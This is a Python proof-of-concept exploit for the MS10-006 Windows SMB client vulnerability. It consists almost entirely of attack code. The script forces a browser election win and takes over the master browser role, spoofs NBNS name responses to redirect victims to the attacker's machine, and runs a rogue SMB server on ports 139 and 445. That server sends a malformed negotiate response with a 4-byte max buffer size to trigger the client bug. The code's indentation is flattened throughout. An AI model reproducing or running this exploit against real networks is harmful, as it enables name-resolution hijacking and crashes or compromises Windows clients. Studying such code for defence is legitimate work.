MS10-006 SMB Client-Side Bug Proof Of Concept

`# More Info: http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html  
import sys,SocketServer,socket,threading,time,random  
from random import *  
from time import sleep  
from socket import *  
  
if len(sys.argv)<=2:  
sys.exit('Usage: pwn.py Your_ip Broadcast_ip\n\r Example: pwn.py 10.0.0.1 10.0.0.255')  
  
ip = str(sys.argv[1])  
nbns = str(sys.argv[2]),137  
browser = str(sys.argv[2]),138  
  
  
elec = "\x42\x4f\x00"  
domainmasterbro = "\x42\x4c\x00"  
  
##BROWSER election request  
browserelect = [chr(int(a, 16)) for a in """  
11 02 bd 82 c0 a8 00 96 00 8a 00 ae 00 00 20 46  
47 45 4e 45 43 45 50 46 49 43 41 43 41 43 41 43  
41 43 41 43 41 43 41 43 41 43 41 43 41 41 41 00  
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46  
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42  
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 11 00 00 14 00 00 00 00 00 00 00 00 00 e8  
03 00 00 00 00 00 00 00 00 14 00 56 00 03 00 01  
00 01 00 02 00 25 00 5c 4d 41 49 4c 53 4c 4f 54  
5c 42 52 4f 57 53 45 00 08 09 a8 0f 01 20 1b e9  
a5 00 00 00 00 00 56 4d 42 4f 58 00""".split()]  
  
##Local Master Announcement  
browsermaster = [chr(int(a, 16)) for a in """  
11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45  
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43  
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00  
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46  
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42  
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8  
03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01  
00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54  
5c 42 52 4f 57 53 45 00 0f 00 80 fc 0a 00 4d 41  
53 54 45 52 00 00 00 00 00 00 00 00 00 00 00 06  
2b 10 84 00 00 0f 01 55 aa 00""".split()]  
  
resetcache = [chr(int(a, 16)) for a in """  
11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45  
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43  
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00  
20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46  
43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41  
42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01  
00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54  
5c 42 52 4f 57 53 45 00 0e 02""".split()]  
  
resetlbm = [chr(int(a, 16)) for a in """  
11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45  
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43  
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00  
20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46  
43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41  
42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01  
00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54  
5c 42 52 4f 57 53 45 00 0e 01""".split()]  
  
##Browser Master annoncement  
masterannon = [chr(int(a, 16)) for a in """  
11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45  
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43  
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00  
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46  
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42  
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8  
03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01  
00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54  
5c 42 52 4f 57 53 45 00 0d 4d 41 53 54 45 52 00""".split()]  
  
regmsbrowse = [chr(int(a, 16)) for a in """  
be 6e 29 10 00 01 00 00 00 00 00 01 20 41 42 41  
43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46  
48 46 44 45 46 46 50 46 50 41 43 41 42 00 00 20  
00 01 c0 0c 00 20 00 01 00 04 93 e0 00 06 80 00  
c0 a8 00 96""".split()]  
  
##NBNS Spoofing  
spoof = [chr(int(a, 16)) for a in """  
08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45  
50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43  
41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20  
00 01 00 04 93 e0 00 06 00 00""".split()]  
  
def nametid(data,packet,service):  
pack = packet[:]  
pack[2:4]=data[2:4] ##Transaction ID  
pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres  
pack[48:82]=data[48:79]+service ##Service/domain name  
return pack  
  
def nametidrand(data,packet,service):  
pack = packet[:]  
pack[2:4]= "\x80"+str(chr(choice(range(256)))) ##Transaction ID  
pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres  
pack[48:82]=data[48:79]+service ##Service/domain name  
return pack  
  
def addipbrow(packet):  
pack = packet[:]  
pack[4:8] = inet_aton(str(sys.argv[1]))  
return pack  
  
def addipnb(packet):  
pack = packet[:]  
pack[len(packet)-4:] = inet_aton(str(sys.argv[1]))  
return pack  
  
def sockbroad(packet,host):  
s = socket(AF_INET,SOCK_DGRAM)  
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)  
s.sendto(packet,host)  
  
class BROWSER(SocketServer.BaseRequestHandler):  
  
def server_bind(self):  
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)  
self.socket.bind(self.server_address)  
  
def handle(self):  
ip = inet_aton(str(sys.argv[1]))  
request, socket = self.request  
data = request  
print "From:", self.client_address  
if data[168] == "\x01" or data[168] == "\x0f" or data[168] == "\x08" and self.client_address[0] != sys.argv[1]:  
  
sockbroad(''.join(addipbrow(resetcache)),browser)  
print "[+]LMB cache Successfully Reseted"  
  
sockbroad(''.join(addipbrow(resetlbm)),browser)  
print "[+]LMB Successfully killed"  
  
for x in range(4):  
sockbroad(''.join(nametid(data,browserelect, elec)),browser)  
sleep(0.8)  
print "[+] Election Won !\n"  
  
for x in range(4):  
sleep(0.5)  
sockbroad(''.join(addipnb(regmsbrowse)),nbns)  
print "[+]Now Register __MSBROWSE__ :] "  
  
sockbroad(''.join(nametidrand(data,browsermaster, elec)),browser)  
sleep(1)  
sockbroad(''.join(nametidrand(data,masterannon, domainmasterbro)),browser)  
print "[+] Now LBM ! \n"  
  
#NBNS SPOOF;  
  
def namenbnstid(data,packet):  
pack = packet[:]  
pack[0:2]=data[0:2]##Transaction ID  
pack[12:48]=data[12:48]##Netbios name  
return pack  
  
class NBNS(SocketServer.BaseRequestHandler):  
  
def server_bind(self):  
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)  
self.socket.bind(self.server_address)  
  
def handle(self):  
request, socket = self.request  
data = request  
print "From:", self.client_address  
#Hijack  
if data[2:4] == "\x01\x10":   
buffer0 = ''.join(namenbnstid(data,spoof))+inet_aton(str(sys.argv[1]))  
socket.sendto(buffer0, self.client_address)  
print "Fake NBNS Response sended\n"  
  
packetnego = (  
##SMB Header  
"\x00\x00\x00\x7f" #Netbios length  
"\xff\x53\x4d\x42" #Server type  
"\x72" #Operation/Command  
"\x00\x00\x00\x00" #Statut command OK Success  
"\x98" #Flag 0x98  
"\x53\xc8" #Flag 0xc853  
"\x00\x00" #PID High  
"\x00\x00\x00\x00\x00\x00\x00\x00" #Signature  
"\x00\x00" #Reserved  
"\x00\x00" #Tree ID  
"\xff\xfe" #Process ID  
"\x00\x00" #User ID  
"\x00\x00" #Multiplex ID  
##SMB Header end  
  
##Negotiate Protocol  
"\x11" #Word count  
"\x05\x00" #Choosen dialect, no-5 from client list  
"\x03" #Security mode  
"\x41\x41" #Max MPX count  
"\x41\x41" #Max VCs  
##Issue  
"\x03\x00\x00\x00" #Max buffer size; The issue is located here, as we specify an only 4 bytes max buffer length is this example.  
#Usually a server would provide a 4356 max buffer size.  
"\x41\x41\x41\x41" #Max raw buffer  
"\x00\x00\x00\x00" #Session key  
"\xfc\xe3\x01\x80" #Capabilities  
"\xea\xb1\x6e\x18\x11\x62\xca\x01" #System Time  
"\x2c\x01" #Server timezone  
"\x00" #Key length  
"\x3a\x00" #Byte count  
#Server GUID  
"\x68\x52\x38\x38\xf2\xe3\x9f\x4f\x94\x26\xbd\xcb\xca\x2e\x28\x9a"   
#Security Blob  
"\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a"  
"\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a"  
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"  
##Negotiate Protocol end  
)  
  
class MS10_006(SocketServer.BaseRequestHandler):  
  
def server_bind(self):  
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)  
self.socket.bind(self.server_address)  
  
def handle(self):   
print "From:", self.client_address  
data = self.request.recv(256)  
if data[0] == "\x81":  
buffer0 = "\x82\x00\x00\x00"   
self.request.send(buffer0)  
print "Session Positive Response sended\n"  
data = self.request.recv(1024)  
if data[8] == "\x72":   
self.request.send(packetnego)  
print "Negotiate Response sended kaboom !\n"  
data = self.request.recv(1024)  
  
  
def serve_thread_udp(host, port, handler):  
server = SocketServer.UDPServer((host, port), handler)  
server.serve_forever()  
  
def serve_thread_tcp(host, port, handler):  
server = SocketServer.TCPServer((host, port), handler)  
server.serve_forever()  
  
SocketServer.TCPServer.allow_reuse_address = 1  
threading.Thread(target=serve_thread_tcp,args=('', 139,MS10_006)).start()  
threading.Thread(target=serve_thread_tcp,args=('', 445,MS10_006)).start()  
threading.Thread(target=serve_thread_udp,args=('', 137,NBNS)).start()  
threading.Thread(target=serve_thread_udp,args=('', 138,BROWSER)).start()  
  
`